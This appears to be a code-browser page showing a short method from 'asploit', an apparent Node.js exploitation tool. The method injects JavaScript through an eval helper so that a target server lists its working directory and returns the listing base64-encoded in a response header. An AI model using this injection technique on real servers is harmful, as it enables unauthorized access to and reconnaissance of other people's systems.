MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__ls

Method _Base__ls

src/NodeExploitProcessor.py:126–132  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

124 @brief See base class for details.
125 """
126 def _Base__ls(self, options: str): # relies on fs being imported
127 out = self.__eval(f"r.setHeader('{self.header}', "
128 f"Buffer.from("
129 f"fs.readdirSync(process.cwd()).join(' '))"
130 f".toString('base64'));"
131 f"r.end();")
132 print(base64.b64decode(out).decode())
133
134 """
135 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected